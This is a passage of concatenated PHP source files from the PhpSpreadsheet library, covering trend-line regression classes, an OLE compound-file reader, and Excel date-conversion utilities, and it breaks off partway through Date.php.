PhpOffice\PhpSpreadsheet\Shared\Trend; class Trend { const TREND_LINEAR = 'Linear'; const TREND_LOGARITHMIC = 'Logarithmic'; const TREND_EXPONENTIAL = 'Exponential'; const TREND_POWER = 'Power'; const TREND_POLYNOMIAL_2 = 'Polynomial_2'; const TREND_POLYNOMIAL_3 = 'Polynomial_3'; const TREND_POLYNOMIAL_4 = 'Polynomial_4'; const TREND_POLYNOMIAL_5 = 'Polynomial_5'; const TREND_POLYNOMIAL_6 = 'Polynomial_6'; const TREND_BEST_FIT = 'Bestfit'; const TREND_BEST_FIT_NO_POLY = 'Bestfit_no_Polynomials'; /** * Names of the best-fit Trend analysis methods. * * @var string[] */ private static array $trendTypes = [ self::TREND_LINEAR, self::TREND_LOGARITHMIC, self::TREND_EXPONENTIAL, self::TREND_POWER, ]; /** * Names of the best-fit Trend polynomial orders. * * @var string[] */ private static array $trendTypePolynomialOrders = [ self::TREND_POLYNOMIAL_2, self::TREND_POLYNOMIAL_3, self::TREND_POLYNOMIAL_4, self::TREND_POLYNOMIAL_5, self::TREND_POLYNOMIAL_6, ]; /** * Cached results for each method when trying to identify which provides the best fit. * * @var BestFit[] */ private static array $trendCache = []; public static function calculate(string $trendType = self::TREND_BEST_FIT, array $yValues = [], array $xValues = [], bool $const = true): mixed { // Calculate number of points in each dataset $nY = count($yValues); $nX = count($xValues); // Define X Values if necessary if ($nX === 0) { $xValues = range(1, $nY); } elseif ($nY !== $nX) { // Ensure both arrays of points are the same size trigger_error('Trend(): Number of elements in coordinate arrays do not match.', E_USER_ERROR); } $key = md5($trendType . $const . serialize($yValues) . serialize($xValues)); // Determine which Trend method has been requested switch ($trendType) { // Instantiate and return the class for the requested Trend method case self::TREND_LINEAR: case self::TREND_LOGARITHMIC: case self::TREND_EXPONENTIAL: case self::TREND_POWER: if (!isset(self::$trendCache[$key])) { $className = '\PhpOffice\PhpSpreadsheet\Shared\Trend\\' . $trendType . 'BestFit'; self::$trendCache[$key] = new $className($yValues, $xValues, $const); } return self::$trendCache[$key]; case self::TREND_POLYNOMIAL_2: case self::TREND_POLYNOMIAL_3: case self::TREND_POLYNOMIAL_4: case self::TREND_POLYNOMIAL_5: case self::TREND_POLYNOMIAL_6: if (!isset(self::$trendCache[$key])) { $order = (int) substr($trendType, -1); self::$trendCache[$key] = new PolynomialBestFit($order, $yValues, $xValues); } return self::$trendCache[$key]; case self::TREND_BEST_FIT: case self::TREND_BEST_FIT_NO_POLY: // If the request is to determine the best fit regression, then we test each Trend line in turn // Start by generating an instance of each available Trend method $bestFit = []; $bestFitValue = []; foreach (self::$trendTypes as $trendMethod) { $className = '\PhpOffice\PhpSpreadsheet\Shared\Trend\\' . $trendType . 'BestFit'; //* @phpstan-ignore-next-line $bestFit[$trendMethod] = new $className($yValues, $xValues, $const); $bestFitValue[$trendMethod] = $bestFit[$trendMethod]->getGoodnessOfFit(); } if ($trendType != self::TREND_BEST_FIT_NO_POLY) { foreach (self::$trendTypePolynomialOrders as $trendMethod) { $order = (int) substr($trendMethod, -1); $bestFit[$trendMethod] = new PolynomialBestFit($order, $yValues, $xValues); if ($bestFit[$trendMethod]->getError()) { unset($bestFit[$trendMethod]); } else { $bestFitValue[$trendMethod] = $bestFit[$trendMethod]->getGoodnessOfFit(); } } } // Determine which of our Trend lines is the best fit, and then we return the instance of that Trend class arsort($bestFitValue); $bestFitType = key($bestFitValue); return $bestFit[$bestFitType]; default: return false; } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Trend/ExponentialBestFit.php000064400000005677151676714400024030 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\Trend; class ExponentialBestFit extends BestFit { /** * Algorithm type to use for best-fit * (Name of this Trend class). */ protected string $bestFitType = 'exponential'; /** * Return the Y-Value for a specified value of X. * * @param float $xValue X-Value * * @return float Y-Value */ public function getValueOfYForX(float $xValue): float { return $this->getIntersect() * $this->getSlope() ** ($xValue - $this->xOffset); } /** * Return the X-Value for a specified value of Y. * * @param float $yValue Y-Value * * @return float X-Value */ public function getValueOfXForY(float $yValue): float { return log(($yValue + $this->yOffset) / $this->getIntersect()) / log($this->getSlope()); } /** * Return the Equation of the best-fit line. * * @param int $dp Number of places of decimal precision to display */ public function getEquation(int $dp = 0): string { $slope = $this->getSlope($dp); $intersect = $this->getIntersect($dp); return 'Y = ' . $intersect . ' * ' . $slope . '^X'; } /** * Return the Slope of the line. * * @param int $dp Number of places of decimal precision to display */ public function getSlope(int $dp = 0): float { if ($dp != 0) { return round(exp($this->slope), $dp); } return exp($this->slope); } /** * Return the Value of X where it intersects Y = 0. * * @param int $dp Number of places of decimal precision to display */ public function getIntersect(int $dp = 0): float { if ($dp != 0) { return round(exp($this->intersect), $dp); } return exp($this->intersect); } /** * Execute the regression and calculate the goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ private function exponentialRegression(array $yValues, array $xValues, bool $const): void { $adjustedYValues = array_map( fn ($value): float => ($value < 0.0) ? 0 - log(abs($value)) : log($value), $yValues ); $this->leastSquareFit($adjustedYValues, $xValues, $const); } /** * Define the regression and calculate the goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ public function __construct(array $yValues, array $xValues = [], bool $const = true) { parent::__construct($yValues, $xValues); if (!$this->error) { $this->exponentialRegression($yValues, $xValues, (bool) $const); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Trend/PowerBestFit.php000064400000005416151676714400022625 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\Trend; class PowerBestFit extends BestFit { /** * Algorithm type to use for best-fit * (Name of this Trend class). */ protected string $bestFitType = 'power'; /** * Return the Y-Value for a specified value of X. * * @param float $xValue X-Value * * @return float Y-Value */ public function getValueOfYForX(float $xValue): float { return $this->getIntersect() * ($xValue - $this->xOffset) ** $this->getSlope(); } /** * Return the X-Value for a specified value of Y. * * @param float $yValue Y-Value * * @return float X-Value */ public function getValueOfXForY(float $yValue): float { return (($yValue + $this->yOffset) / $this->getIntersect()) ** (1 / $this->getSlope()); } /** * Return the Equation of the best-fit line. * * @param int $dp Number of places of decimal precision to display */ public function getEquation(int $dp = 0): string { $slope = $this->getSlope($dp); $intersect = $this->getIntersect($dp); return 'Y = ' . $intersect . ' * X^' . $slope; } /** * Return the Value of X where it intersects Y = 0. * * @param int $dp Number of places of decimal precision to display */ public function getIntersect(int $dp = 0): float { if ($dp != 0) { return round(exp($this->intersect), $dp); } return exp($this->intersect); } /** * Execute the regression and calculate the goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ private function powerRegression(array $yValues, array $xValues, bool $const): void { $adjustedYValues = array_map( fn ($value): float => ($value < 0.0) ? 0 - log(abs($value)) : log($value), $yValues ); $adjustedXValues = array_map( fn ($value): float => ($value < 0.0) ? 0 - log(abs($value)) : log($value), $xValues ); $this->leastSquareFit($adjustedYValues, $adjustedXValues, $const); } /** * Define the regression and calculate the goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ public function __construct(array $yValues, array $xValues = [], bool $const = true) { parent::__construct($yValues, $xValues); if (!$this->error) { $this->powerRegression($yValues, $xValues, (bool) $const); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Trend/PolynomialBestFit.php000064400000014260151676714400023651 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\Trend; use Matrix\Matrix; // Phpstan and Scrutinizer seem to have legitimate complaints. // $this->slope is specified where an array is expected in several places. // But it seems that it should always be float. // This code is probably not exercised at all in unit tests. class PolynomialBestFit extends BestFit { /** * Algorithm type to use for best-fit * (Name of this Trend class). */ protected string $bestFitType = 'polynomial'; /** * Polynomial order. */ protected int $order = 0; /** * Return the order of this polynomial. */ public function getOrder(): int { return $this->order; } /** * Return the Y-Value for a specified value of X. * * @param float $xValue X-Value * * @return float Y-Value */ public function getValueOfYForX(float $xValue): float { $retVal = $this->getIntersect(); $slope = $this->getSlope(); // Phpstan and Scrutinizer are both correct - getSlope returns float, not array. // @phpstan-ignore-next-line foreach ($slope as $key => $value) { if ($value != 0.0) { $retVal += $value * $xValue ** ($key + 1); } } return $retVal; } /** * Return the X-Value for a specified value of Y. * * @param float $yValue Y-Value * * @return float X-Value */ public function getValueOfXForY(float $yValue): float { return ($yValue - $this->getIntersect()) / $this->getSlope(); } /** * Return the Equation of the best-fit line. * * @param int $dp Number of places of decimal precision to display */ public function getEquation(int $dp = 0): string { $slope = $this->getSlope($dp); $intersect = $this->getIntersect($dp); $equation = 'Y = ' . $intersect; // Phpstan and Scrutinizer are both correct - getSlope returns float, not array. // @phpstan-ignore-next-line foreach ($slope as $key => $value) { if ($value != 0.0) { $equation .= ' + ' . $value . ' * X'; if ($key > 0) { $equation .= '^' . ($key + 1); } } } return $equation; } /** * Return the Slope of the line. * * @param int $dp Number of places of decimal precision to display */ public function getSlope(int $dp = 0): float { if ($dp != 0) { $coefficients = []; //* @phpstan-ignore-next-line foreach ($this->slope as $coefficient) { $coefficients[] = round($coefficient, $dp); } // @phpstan-ignore-next-line return $coefficients; } return $this->slope; } public function getCoefficients(int $dp = 0): array { // Phpstan and Scrutinizer are both correct - getSlope returns float, not array. // @phpstan-ignore-next-line return array_merge([$this->getIntersect($dp)], $this->getSlope($dp)); } /** * Execute the regression and calculate the goodness of fit for a set of X and Y data values. * * @param int $order Order of Polynomial for this regression * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ private function polynomialRegression(int $order, array $yValues, array $xValues): void { // calculate sums $x_sum = array_sum($xValues); $y_sum = array_sum($yValues); $xx_sum = $xy_sum = $yy_sum = 0; for ($i = 0; $i < $this->valueCount; ++$i) { $xy_sum += $xValues[$i] * $yValues[$i]; $xx_sum += $xValues[$i] * $xValues[$i]; $yy_sum += $yValues[$i] * $yValues[$i]; } /* * This routine uses logic from the PHP port of polyfit version 0.1 * written by Michael Bommarito and Paul Meagher * * The function fits a polynomial function of order $order through * a series of x-y data points using least squares. * */ $A = []; $B = []; for ($i = 0; $i < $this->valueCount; ++$i) { for ($j = 0; $j <= $order; ++$j) { $A[$i][$j] = $xValues[$i] ** $j; } } for ($i = 0; $i < $this->valueCount; ++$i) { $B[$i] = [$yValues[$i]]; } $matrixA = new Matrix($A); $matrixB = new Matrix($B); $C = $matrixA->solve($matrixB); $coefficients = []; for ($i = 0; $i < $C->rows; ++$i) { $r = $C->getValue($i + 1, 1); // row and column are origin-1 if (abs($r) <= 10 ** (-9)) { $r = 0; } $coefficients[] = $r; } $this->intersect = array_shift($coefficients); // Phpstan is correct //* @phpstan-ignore-next-line $this->slope = $coefficients; $this->calculateGoodnessOfFit($x_sum, $y_sum, $xx_sum, $yy_sum, $xy_sum, 0, 0, 0); foreach ($this->xValues as $xKey => $xValue) { $this->yBestFitValues[$xKey] = $this->getValueOfYForX($xValue); } } /** * Define the regression and calculate the goodness of fit for a set of X and Y data values. * * @param int $order Order of Polynomial for this regression * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ public function __construct(int $order, array $yValues, array $xValues = []) { parent::__construct($yValues, $xValues); if (!$this->error) { if ($order < $this->valueCount) { $this->bestFitType .= '_' . $order; $this->order = $order; $this->polynomialRegression($order, $yValues, $xValues); if (($this->getGoodnessOfFit() < 0.0) || ($this->getGoodnessOfFit() > 1.0)) { $this->error = true; } } else { $this->error = true; } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/OLE.php000064400000042634151676714400017616 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared; // vim: set expandtab tabstop=4 shiftwidth=4: // +----------------------------------------------------------------------+ // | PHP Version 4 | // +----------------------------------------------------------------------+ // | Copyright (c) 1997-2002 The PHP Group | // +----------------------------------------------------------------------+ // | This source file is subject to version 2.02 of the PHP license, | // | that is bundled with this package in the file LICENSE, and is | // | available at through the world-wide-web at | // | http://www.php.net/license/2_02.txt. | // | If you did not receive a copy of the PHP license and are unable to | // | obtain it through the world-wide-web, please send a note to | // | license@php.net so we can mail you a copy immediately. | // +----------------------------------------------------------------------+ // | Author: Xavier Noguer <xnoguer@php.net> | // | Based on OLE::Storage_Lite by Kawai, Takanori | // +----------------------------------------------------------------------+ // use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Reader\Exception as ReaderException; use PhpOffice\PhpSpreadsheet\Shared\OLE\ChainedBlockStream; use PhpOffice\PhpSpreadsheet\Shared\OLE\PPS\Root; /* * Array for storing OLE instances that are accessed from * OLE_ChainedBlockStream::stream_open(). * * @var array */ $GLOBALS['_OLE_INSTANCES'] = []; /** * OLE package base class. * * @author Xavier Noguer <xnoguer@php.net> * @author Christian Schmidt <schmidt@php.net> */ class OLE { const OLE_PPS_TYPE_ROOT = 5; const OLE_PPS_TYPE_DIR = 1; const OLE_PPS_TYPE_FILE = 2; const OLE_DATA_SIZE_SMALL = 0x1000; const OLE_LONG_INT_SIZE = 4; const OLE_PPS_SIZE = 0x80; /** * The file handle for reading an OLE container. * * @var resource */ public $_file_handle; /** * Array of PPS's found on the OLE container. */ public array $_list = []; /** * Root directory of OLE container. */ public Root $root; /** * Big Block Allocation Table. * * @var array (blockId => nextBlockId) */ public array $bbat; /** * Short Block Allocation Table. * * @var array (blockId => nextBlockId) */ public array $sbat; /** * Size of big blocks. This is usually 512. * * @var int number of octets per block */ public int $bigBlockSize; /** * Size of small blocks. This is usually 64. * * @var int number of octets per block */ public int $smallBlockSize; /** * Threshold for big blocks. */ public int $bigBlockThreshold; /** * Reads an OLE container from the contents of the file given. * * @acces public * * @return bool true on success, PEAR_Error on failure */ public function read(string $filename): bool { $fh = @fopen($filename, 'rb'); if ($fh === false) { throw new ReaderException("Can't open file $filename"); } $this->_file_handle = $fh; $signature = fread($fh, 8); if ("\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1" != $signature) { throw new ReaderException("File doesn't seem to be an OLE container."); } fseek($fh, 28); if (fread($fh, 2) != "\xFE\xFF") { // This shouldn't be a problem in practice throw new ReaderException('Only Little-Endian encoding is supported.'); } // Size of blocks and short blocks in bytes $this->bigBlockSize = 2 ** self::readInt2($fh); $this->smallBlockSize = 2 ** self::readInt2($fh); // Skip UID, revision number and version number fseek($fh, 44); // Number of blocks in Big Block Allocation Table $bbatBlockCount = self::readInt4($fh); // Root chain 1st block $directoryFirstBlockId = self::readInt4($fh); // Skip unused bytes fseek($fh, 56); // Streams shorter than this are stored using small blocks $this->bigBlockThreshold = self::readInt4($fh); // Block id of first sector in Short Block Allocation Table $sbatFirstBlockId = self::readInt4($fh); // Number of blocks in Short Block Allocation Table $sbbatBlockCount = self::readInt4($fh); // Block id of first sector in Master Block Allocation Table $mbatFirstBlockId = self::readInt4($fh); // Number of blocks in Master Block Allocation Table $mbbatBlockCount = self::readInt4($fh); $this->bbat = []; // Remaining 4 * 109 bytes of current block is beginning of Master // Block Allocation Table $mbatBlocks = []; for ($i = 0; $i < 109; ++$i) { $mbatBlocks[] = self::readInt4($fh); } // Read rest of Master Block Allocation Table (if any is left) $pos = $this->getBlockOffset($mbatFirstBlockId); for ($i = 0; $i < $mbbatBlockCount; ++$i) { fseek($fh, $pos); for ($j = 0; $j < $this->bigBlockSize / 4 - 1; ++$j) { $mbatBlocks[] = self::readInt4($fh); } // Last block id in each block points to next block $pos = $this->getBlockOffset(self::readInt4($fh)); } // Read Big Block Allocation Table according to chain specified by $mbatBlocks for ($i = 0; $i < $bbatBlockCount; ++$i) { $pos = $this->getBlockOffset($mbatBlocks[$i]); fseek($fh, $pos); for ($j = 0; $j < $this->bigBlockSize / 4; ++$j) { $this->bbat[] = self::readInt4($fh); } } // Read short block allocation table (SBAT) $this->sbat = []; $shortBlockCount = $sbbatBlockCount * $this->bigBlockSize / 4; $sbatFh = $this->getStream($sbatFirstBlockId); for ($blockId = 0; $blockId < $shortBlockCount; ++$blockId) { $this->sbat[$blockId] = self::readInt4($sbatFh); } fclose($sbatFh); $this->readPpsWks($directoryFirstBlockId); return true; } /** * @param int $blockId byte offset from beginning of file */ public function getBlockOffset(int $blockId): int { return 512 + $blockId * $this->bigBlockSize; } /** * Returns a stream for use with fread() etc. External callers should * use \PhpOffice\PhpSpreadsheet\Shared\OLE\PPS\File::getStream(). * * @param int|OLE\PPS $blockIdOrPps block id or PPS * * @return resource read-only stream */ public function getStream($blockIdOrPps) { static $isRegistered = false; if (!$isRegistered) { stream_wrapper_register('ole-chainedblockstream', ChainedBlockStream::class); $isRegistered = true; } // Store current instance in global array, so that it can be accessed // in OLE_ChainedBlockStream::stream_open(). // Object is removed from self::$instances in OLE_Stream::close(). $GLOBALS['_OLE_INSTANCES'][] = $this; $keys = array_keys($GLOBALS['_OLE_INSTANCES']); $instanceId = end($keys); $path = 'ole-chainedblockstream://oleInstanceId=' . $instanceId; if ($blockIdOrPps instanceof OLE\PPS) { $path .= '&blockId=' . $blockIdOrPps->startBlock; $path .= '&size=' . $blockIdOrPps->Size; } else { $path .= '&blockId=' . $blockIdOrPps; } $resource = fopen($path, 'rb'); if ($resource === false) { throw new Exception("Unable to open stream $path"); } return $resource; } /** * Reads a signed char. * * @param resource $fileHandle file handle */ private static function readInt1($fileHandle): int { [, $tmp] = unpack('c', fread($fileHandle, 1) ?: '') ?: [0, 0]; return $tmp; } /** * Reads an unsigned short (2 octets). * * @param resource $fileHandle file handle */ private static function readInt2($fileHandle): int { [, $tmp] = unpack('v', fread($fileHandle, 2) ?: '') ?: [0, 0]; return $tmp; } private const SIGNED_4OCTET_LIMIT = 2147483648; private const SIGNED_4OCTET_SUBTRACT = 2 * self::SIGNED_4OCTET_LIMIT; /** * Reads long (4 octets), interpreted as if signed on 32-bit system. * * @param resource $fileHandle file handle */ private static function readInt4($fileHandle): int { [, $tmp] = unpack('V', fread($fileHandle, 4) ?: '') ?: [0, 0]; if ($tmp >= self::SIGNED_4OCTET_LIMIT) { $tmp -= self::SIGNED_4OCTET_SUBTRACT; } return $tmp; } /** * Gets information about all PPS's on the OLE container from the PPS WK's * creates an OLE_PPS object for each one. * * @param int $blockId the block id of the first block * * @return bool true on success, PEAR_Error on failure */ public function readPpsWks(int $blockId): bool { $fh = $this->getStream($blockId); for ($pos = 0; true; $pos += 128) { fseek($fh, $pos, SEEK_SET); $nameUtf16 = (string) fread($fh, 64); $nameLength = self::readInt2($fh); $nameUtf16 = substr($nameUtf16, 0, $nameLength - 2); // Simple conversion from UTF-16LE to ISO-8859-1 $name = str_replace("\x00", '', $nameUtf16); $type = self::readInt1($fh); switch ($type) { case self::OLE_PPS_TYPE_ROOT: $pps = new Root(null, null, []); $this->root = $pps; break; case self::OLE_PPS_TYPE_DIR: $pps = new OLE\PPS(null, null, null, null, null, null, null, null, null, []); break; case self::OLE_PPS_TYPE_FILE: $pps = new OLE\PPS\File($name); break; default: throw new Exception('Unsupported PPS type'); } fseek($fh, 1, SEEK_CUR); $pps->Type = $type; $pps->Name = $name; $pps->PrevPps = self::readInt4($fh); $pps->NextPps = self::readInt4($fh); $pps->DirPps = self::readInt4($fh); fseek($fh, 20, SEEK_CUR); $pps->Time1st = self::OLE2LocalDate((string) fread($fh, 8)); $pps->Time2nd = self::OLE2LocalDate((string) fread($fh, 8)); $pps->startBlock = self::readInt4($fh); $pps->Size = self::readInt4($fh); $pps->No = count($this->_list); $this->_list[] = $pps; // check if the PPS tree (starting from root) is complete if (isset($this->root) && $this->ppsTreeComplete($this->root->No)) { break; } } fclose($fh); // Initialize $pps->children on directories foreach ($this->_list as $pps) { if ($pps->Type == self::OLE_PPS_TYPE_DIR || $pps->Type == self::OLE_PPS_TYPE_ROOT) { $nos = [$pps->DirPps]; $pps->children = []; while (!empty($nos)) { $no = array_pop($nos); if ($no != -1) { $childPps = $this->_list[$no]; $nos[] = $childPps->PrevPps; $nos[] = $childPps->NextPps; $pps->children[] = $childPps; } } } } return true; } /** * It checks whether the PPS tree is complete (all PPS's read) * starting with the given PPS (not necessarily root). * * @param int $index The index of the PPS from which we are checking * * @return bool Whether the PPS tree for the given PPS is complete */ private function ppsTreeComplete(int $index): bool { return isset($this->_list[$index]) && ($pps = $this->_list[$index]) && ($pps->PrevPps == -1 || $this->ppsTreeComplete($pps->PrevPps)) && ($pps->NextPps == -1 || $this->ppsTreeComplete($pps->NextPps)) && ($pps->DirPps == -1 || $this->ppsTreeComplete($pps->DirPps)); } /** * Checks whether a PPS is a File PPS or not. * If there is no PPS for the index given, it will return false. * * @param int $index The index for the PPS * * @return bool true if it's a File PPS, false otherwise */ public function isFile(int $index): bool { if (isset($this->_list[$index])) { return $this->_list[$index]->Type == self::OLE_PPS_TYPE_FILE; } return false; } /** * Checks whether a PPS is a Root PPS or not. * If there is no PPS for the index given, it will return false. * * @param int $index the index for the PPS * * @return bool true if it's a Root PPS, false otherwise */ public function isRoot(int $index): bool { if (isset($this->_list[$index])) { return $this->_list[$index]->Type == self::OLE_PPS_TYPE_ROOT; } return false; } /** * Gives the total number of PPS's found in the OLE container. * * @return int The total number of PPS's found in the OLE container */ public function ppsTotal(): int { return count($this->_list); } /** * Gets data from a PPS * If there is no PPS for the index given, it will return an empty string. * * @param int $index The index for the PPS * @param int $position The position from which to start reading * (relative to the PPS) * @param int $length The amount of bytes to read (at most) * * @return string The binary string containing the data requested * * @see OLE_PPS_File::getStream() */ public function getData(int $index, int $position, int $length): string { // if position is not valid return empty string if (!isset($this->_list[$index]) || ($position >= $this->_list[$index]->Size) || ($position < 0)) { return ''; } $fh = $this->getStream($this->_list[$index]); $data = (string) stream_get_contents($fh, $length, $position); fclose($fh); return $data; } /** * Gets the data length from a PPS * If there is no PPS for the index given, it will return 0. * * @param int $index The index for the PPS * * @return int The amount of bytes in data the PPS has */ public function getDataLength(int $index): int { if (isset($this->_list[$index])) { return $this->_list[$index]->Size; } return 0; } /** * Utility function to transform ASCII text to Unicode. * * @param string $ascii The ASCII string to transform * * @return string The string in Unicode */ public static function ascToUcs(string $ascii): string { $rawname = ''; $iMax = strlen($ascii); for ($i = 0; $i < $iMax; ++$i) { $rawname .= $ascii[$i] . "\x00"; } return $rawname; } /** * Utility function * Returns a string for the OLE container with the date given. * * @param float|int $date A timestamp * * @return string The string for the OLE container */ public static function localDateToOLE($date): string { if (!$date) { return "\x00\x00\x00\x00\x00\x00\x00\x00"; } $dateTime = Date::dateTimeFromTimestamp("$date"); // days from 1-1-1601 until the beggining of UNIX era $days = 134774; // calculate seconds $big_date = $days * 24 * 3600 + (float) $dateTime->format('U'); // multiply just to make MS happy $big_date *= 10000000; // Make HEX string $res = ''; $factor = 2 ** 56; while ($factor >= 1) { $hex = (int) floor($big_date / $factor); $res = pack('c', $hex) . $res; $big_date = fmod($big_date, $factor); $factor /= 256; } return $res; } /** * Returns a timestamp from an OLE container's date. * * @param string $oleTimestamp A binary string with the encoded date * * @return float|int The Unix timestamp corresponding to the string */ public static function OLE2LocalDate(string $oleTimestamp) { if (strlen($oleTimestamp) != 8) { throw new ReaderException('Expecting 8 byte string'); } // convert to units of 100 ns since 1601: $unpackedTimestamp = unpack('v4', $oleTimestamp) ?: []; $timestampHigh = (float) $unpackedTimestamp[4] * 65536 + (float) $unpackedTimestamp[3]; $timestampLow = (float) $unpackedTimestamp[2] * 65536 + (float) $unpackedTimestamp[1]; // translate to seconds since 1601: $timestampHigh /= 10000000; $timestampLow /= 10000000; // days from 1601 to 1970: $days = 134774; // translate to seconds since 1970: $unixTimestamp = floor(65536.0 * 65536.0 * $timestampHigh + $timestampLow - $days * 24 * 3600 + 0.5); return IntOrFloat::evaluate($unixTimestamp); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Escher.php000064400000002051151676714400020375 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared; class Escher { /** * Drawing Group Container. * * @var ?Escher\DggContainer */ private ?Escher\DggContainer $dggContainer = null; /** * Drawing Container. * * @var ?Escher\DgContainer */ private ?Escher\DgContainer $dgContainer = null; /** * Get Drawing Group Container. */ public function getDggContainer(): ?Escher\DggContainer { return $this->dggContainer; } /** * Set Drawing Group Container. */ public function setDggContainer(Escher\DggContainer $dggContainer): Escher\DggContainer { return $this->dggContainer = $dggContainer; } /** * Get Drawing Container. */ public function getDgContainer(): ?Escher\DgContainer { return $this->dgContainer; } /** * Set Drawing Container. */ public function setDgContainer(Escher\DgContainer $dgContainer): Escher\DgContainer { return $this->dgContainer = $dgContainer; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/IntOrFloat.php000064400000000612151676714400021206 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared; class IntOrFloat { /** * Help some functions with large results operate correctly on 32-bit, * by returning result as int when possible, float otherwise. */ public static function evaluate(float|int $value): float|int { $iValue = (int) $value; return ($value == $iValue) ? $iValue : $value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Date.php000064400000046214151676714400020052 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared; use DateTime; use DateTimeInterface; use DateTimeZone; use PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use PhpOffice\PhpSpreadsheet\Shared\Date as SharedDate; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; class Date { /** constants */ const CALENDAR_WINDOWS_1900 = 1900; // Base date of 1st Jan 1900 = 1.0 const CALENDAR_MAC_1904 = 1904; // Base date of 2nd Jan 1904 = 1.0 /** * Names of the months of the year, indexed by shortname * Planned usage for locale settings. * * @var string[] */ public static array $monthNames = [ 'Jan' => 'January', 'Feb' => 'February', 'Mar' => 'March', 'Apr' => 'April', 'May' => 'May', 'Jun' => 'June', 'Jul' => 'July', 'Aug' => 'August', 'Sep' => 'September', 'Oct' => 'October', 'Nov' => 'November', 'Dec' => 'December', ]; /** * @var string[] */ public static array $numberSuffixes = [ 'st', 'nd', 'rd', 'th', ]; /** * Base calendar year to use for calculations * Value is either CALENDAR_WINDOWS_1900 (1900) or CALENDAR_MAC_1904 (1904). */ protected static int $excelCalendar = self::CALENDAR_WINDOWS_1900; /** * Default timezone to use for DateTime objects. */ protected static ?DateTimeZone $defaultTimeZone = null; /** * Set the Excel calendar (Windows 1900 or Mac 1904). * * @param int $baseYear Excel base date (1900 or 1904) * * @return bool Success or failure */ public static function setExcelCalendar(int $baseYear): bool { if ( ($baseYear == self::CALENDAR_WINDOWS_1900) || ($baseYear == self::CALENDAR_MAC_1904) ) { self::$excelCalendar = $baseYear; return true; } return false; } /** * Return the Excel calendar (Windows 1900 or Mac 1904). * * @return int Excel base date (1900 or 1904) */ public static function getExcelCalendar(): int { return self::$excelCalendar; } /** * Set the Default timezone to use for dates. * * @param null|DateTimeZone|string $timeZone The timezone to set for all Excel datetimestamp to PHP DateTime Object conversions * * @return bool Success or failure */ public static function setDefaultTimezone($timeZone): bool { try { $timeZone = self::validateTimeZone($timeZone); self::$defaultTimeZone = $timeZone; $retval = true; } catch (PhpSpreadsheetException) { $retval = false; } return $retval; } /** * Return the Default timezone, or UTC if default not set. */ public static function getDefaultTimezone(): DateTimeZone { return self::$defaultTimeZone ?? new DateTimeZone('UTC'); } /** * Return the Default timezone, or local timezone if default is not set. */ public static function getDefaultOrLocalTimezone(): DateTimeZone { return self::$defaultTimeZone ?? new DateTimeZone(date_default_timezone_get()); } /** * Return the Default timezone even if null. */ public static function getDefaultTimezoneOrNull(): ?DateTimeZone { return self::$defaultTimeZone; } /** * Validate a timezone. * * @param null|DateTimeZone|string $timeZone The timezone to validate, either as a timezone string or object * * @return ?DateTimeZone The timezone as a timezone object */ private static function validateTimeZone($timeZone): ?DateTimeZone { if ($timeZone instanceof DateTimeZone || $timeZone === null) { return $timeZone; } if (in_array($timeZone, DateTimeZone::listIdentifiers(DateTimeZone::ALL_WITH_BC))) { return new DateTimeZone($timeZone); } throw new PhpSpreadsheetException('Invalid timezone'); } /** * @param mixed $value Converts a date/time in ISO-8601 standard format date string to an Excel * serialized timestamp. * See https://en.wikipedia.org/wiki/ISO_8601 for details of the ISO-8601 standard format. */ public static function convertIsoDate(mixed $value): float|int { if (!is_string($value)) { throw new Exception('Non-string value supplied for Iso Date conversion'); } $date = new DateTime($value); $dateErrors = DateTime::getLastErrors(); if (is_array($dateErrors) && ($dateErrors['warning_count'] > 0 || $dateErrors['error_count'] > 0)) { throw new Exception("Invalid string $value supplied for datatype Date"); } $newValue = SharedDate::PHPToExcel($date); if ($newValue === false) { throw new Exception("Invalid string $value supplied for datatype Date"); } if (preg_match('/^\\s*\\d?\\d:\\d\\d(:\\d\\d([.]\\d+)?)?\\s*(am|pm)?\\s*$/i', $value) == 1) { $newValue = fmod($newValue, 1.0); } return $newValue; } /** * Convert a MS serialized datetime value from Excel to a PHP Date/Time object. * * @param float|int $excelTimestamp MS Excel serialized date/time value * @param null|DateTimeZone|string $timeZone The timezone to assume for the Excel timestamp, * if you don't want to treat it as a UTC value * Use the default (UTC) unless you absolutely need a conversion * * @return DateTime PHP date/time object */ public static function excelToDateTimeObject(float|int $excelTimestamp, null|DateTimeZone|string $timeZone = null): DateTime { $timeZone = ($timeZone === null) ? self::getDefaultTimezone() : self::validateTimeZone($timeZone); if (Functions::getCompatibilityMode() == Functions::COMPATIBILITY_EXCEL) { if ($excelTimestamp < 1 && self::$excelCalendar === self::CALENDAR_WINDOWS_1900) { // Unix timestamp base date $baseDate = 